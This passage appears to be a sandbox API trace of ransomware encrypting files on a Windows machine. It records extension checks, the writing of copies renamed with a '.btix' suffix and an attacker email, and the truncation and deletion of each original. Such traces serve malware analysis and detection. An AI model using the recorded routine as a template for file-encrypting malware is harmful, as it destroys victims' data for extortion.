(lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.095] lstrlenW (lpString=".1cd") returned 4 [0044.095] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0044.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.095] lstrlenW (lpString=".jpg") returned 4 [0044.095] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0044.095] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.096] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0044.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.096] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=201796) returned 1 [0044.096] CloseHandle (hObject=0x368) returned 1 [0044.096] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0044.096] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.096] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.096] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0044.096] GetLastError () returned 0x0 [0044.096] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x31444, lpOverlapped=0x0) returned 1 [0044.233] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x31450, lpOverlapped=0x0) returned 1 [0044.247] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.247] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xf6, lpOverlapped=0x0) returned 1 [0044.247] SetEndOfFile (hFile=0x36c) returned 1 [0044.285] CloseHandle (hObject=0x36c) returned 1 [0044.306] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.306] SetEndOfFile (hFile=0x368) returned 1 [0044.307] CloseHandle (hObject=0x368) returned 1 [0044.308] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.310] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0044.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.315] lstrlenW (lpString=".doc") returned 4 [0044.315] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.315] lstrlenW (lpString=".docx") returned 5 [0044.315] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.315] lstrlenW (lpString=".pdf") returned 4 [0044.315] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.315] lstrlenW (lpString=".xls") returned 4 [0044.315] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.315] lstrlenW (lpString=".xlsx") returned 5 [0044.315] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.315] lstrlenW (lpString=".ppt") returned 4 [0044.316] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.316] lstrlenW (lpString=".zip") returned 4 [0044.316] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.316] lstrlenW (lpString=".rar") returned 4 [0044.316] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.316] lstrlenW (lpString=".bz2") returned 4 [0044.316] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.316] lstrlenW (lpString=".7z") returned 3 [0044.316] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.316] lstrlenW (lpString=".dbf") returned 4 [0044.316] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.316] lstrlenW (lpString=".1cd") returned 4 [0044.316] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.316] lstrlenW (lpString=".jpg") returned 4 [0044.316] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.316] lstrlenW (lpString=".doc") returned 4 [0044.316] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.316] lstrlenW (lpString=".docx") returned 5 [0044.316] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.316] lstrlenW (lpString=".pdf") returned 4 [0044.316] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.316] lstrlenW (lpString=".xls") returned 4 [0044.316] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.316] lstrlenW (lpString=".xlsx") returned 5 [0044.316] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.316] lstrlenW (lpString=".ppt") returned 4 [0044.316] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.316] lstrlenW (lpString=".zip") returned 4 [0044.317] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.317] lstrlenW (lpString=".rar") returned 4 [0044.317] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.317] lstrlenW (lpString=".bz2") returned 4 [0044.317] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.317] lstrlenW (lpString=".7z") returned 3 [0044.317] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.317] lstrlenW (lpString=".dbf") returned 4 [0044.317] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.317] lstrlenW (lpString=".1cd") returned 4 [0044.317] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0044.317] lstrlenW (lpString=".jpg") returned 4 [0044.317] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.317] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.317] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0044.317] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.381] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=272046) returned 1 [0044.381] CloseHandle (hObject=0x368) returned 1 [0044.381] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0044.381] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.381] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.381] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.381] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.381] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0044.389] GetLastError () returned 0x0 [0044.389] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x426ae, lpOverlapped=0x0) returned 1 [0044.546] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x426b0, lpOverlapped=0x0) returned 1 [0044.551] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.551] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xf6, lpOverlapped=0x0) returned 1 [0044.551] SetEndOfFile (hFile=0x350) returned 1 [0044.551] CloseHandle (hObject=0x350) returned 1 [0044.555] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.555] SetEndOfFile (hFile=0x368) returned 1 [0044.558] CloseHandle (hObject=0x368) returned 1 [0044.558] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.558] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0044.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.559] lstrlenW (lpString=".doc") returned 4 [0044.559] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.559] lstrlenW (lpString=".docx") returned 5 [0044.559] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.559] lstrlenW (lpString=".pdf") returned 4 [0044.559] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.559] lstrlenW (lpString=".xls") returned 4 [0044.559] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.559] lstrlenW (lpString=".xlsx") returned 5 [0044.559] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.559] lstrlenW (lpString=".ppt") returned 4 [0044.559] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.559] lstrlenW (lpString=".zip") returned 4 [0044.559] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.559] lstrlenW (lpString=".rar") returned 4 [0044.559] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.559] lstrlenW (lpString=".bz2") returned 4 [0044.559] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.559] lstrlenW (lpString=".7z") returned 3 [0044.559] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.559] lstrlenW (lpString=".dbf") returned 4 [0044.559] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.559] lstrlenW (lpString=".1cd") returned 4 [0044.559] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.559] lstrlenW (lpString=".jpg") returned 4 [0044.559] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.560] lstrlenW (lpString=".doc") returned 4 [0044.560] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.560] lstrlenW (lpString=".docx") returned 5 [0044.560] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.560] lstrlenW (lpString=".pdf") returned 4 [0044.560] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.560] lstrlenW (lpString=".xls") returned 4 [0044.560] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.560] lstrlenW (lpString=".xlsx") returned 5 [0044.560] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.560] lstrlenW (lpString=".ppt") returned 4 [0044.560] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.560] lstrlenW (lpString=".zip") returned 4 [0044.560] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.560] lstrlenW (lpString=".rar") returned 4 [0044.560] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.560] lstrlenW (lpString=".bz2") returned 4 [0044.560] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.560] lstrlenW (lpString=".7z") returned 3 [0044.560] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.560] lstrlenW (lpString=".dbf") returned 4 [0044.560] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.560] lstrlenW (lpString=".1cd") returned 4 [0044.561] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0044.561] lstrlenW (lpString=".jpg") returned 4 [0044.561] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.561] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.561] lstrlenW (lpString="UiInfo.xml") returned 10 [0044.561] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.561] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=38898) returned 1 [0044.561] CloseHandle (hObject=0x368) returned 1 [0044.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0044.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.561] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.561] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.562] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0044.562] GetLastError () returned 0x0 [0044.562] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x97f2, lpOverlapped=0x0) returned 1 [0044.734] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x9800, lpOverlapped=0x0) returned 1 [0044.735] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.735] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe8, lpOverlapped=0x0) returned 1 [0044.735] SetEndOfFile (hFile=0x350) returned 1 [0044.735] CloseHandle (hObject=0x350) returned 1 [0044.737] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.737] SetEndOfFile (hFile=0x368) returned 1 [0044.738] CloseHandle (hObject=0x368) returned 1 [0044.738] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.738] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0044.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.738] lstrlenW (lpString=".doc") returned 4 [0044.738] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.738] lstrlenW (lpString=".docx") returned 5 [0044.738] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.738] lstrlenW (lpString=".pdf") returned 4 [0044.738] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.738] lstrlenW (lpString=".xls") returned 4 [0044.738] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.738] lstrlenW (lpString=".xlsx") returned 5 [0044.739] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.739] lstrlenW (lpString=".ppt") returned 4 [0044.739] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.739] lstrlenW (lpString=".zip") returned 4 [0044.739] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.739] lstrlenW (lpString=".rar") returned 4 [0044.739] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString=".bz2") returned 4 [0044.739] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString=".7z") returned 3 [0044.739] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.739] lstrlenW (lpString=".dbf") returned 4 [0044.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.739] lstrlenW (lpString=".1cd") returned 4 [0044.739] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.739] lstrlenW (lpString=".jpg") returned 4 [0044.739] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.739] lstrlenW (lpString=".doc") returned 4 [0044.739] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString=".docx") returned 5 [0044.739] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.739] lstrlenW (lpString=".pdf") returned 4 [0044.739] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString=".xls") returned 4 [0044.739] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.739] lstrlenW (lpString=".xlsx") returned 5 [0044.739] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.739] lstrlenW (lpString=".ppt") returned 4 [0044.739] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.740] lstrlenW (lpString=".zip") returned 4 [0044.740] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.740] lstrlenW (lpString=".rar") returned 4 [0044.740] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString=".bz2") returned 4 [0044.740] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString=".7z") returned 3 [0044.740] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.740] lstrlenW (lpString=".dbf") returned 4 [0044.740] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.740] lstrlenW (lpString=".1cd") returned 4 [0044.740] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0044.740] lstrlenW (lpString=".jpg") returned 4 [0044.740] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.740] lstrcmpiW (lpString1=".bmp", lpString2=".btix") returned -1 [0044.740] lstrlenW (lpString="watermark.bmp") returned 13 [0044.740] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.740] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=104072) returned 1 [0044.740] CloseHandle (hObject=0x368) returned 1 [0044.740] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0044.741] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.741] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.741] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0044.741] GetLastError () returned 0x0 [0044.741] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x19688, lpOverlapped=0x0) returned 1 [0044.887] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x19690, lpOverlapped=0x0) returned 1 [0044.889] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, 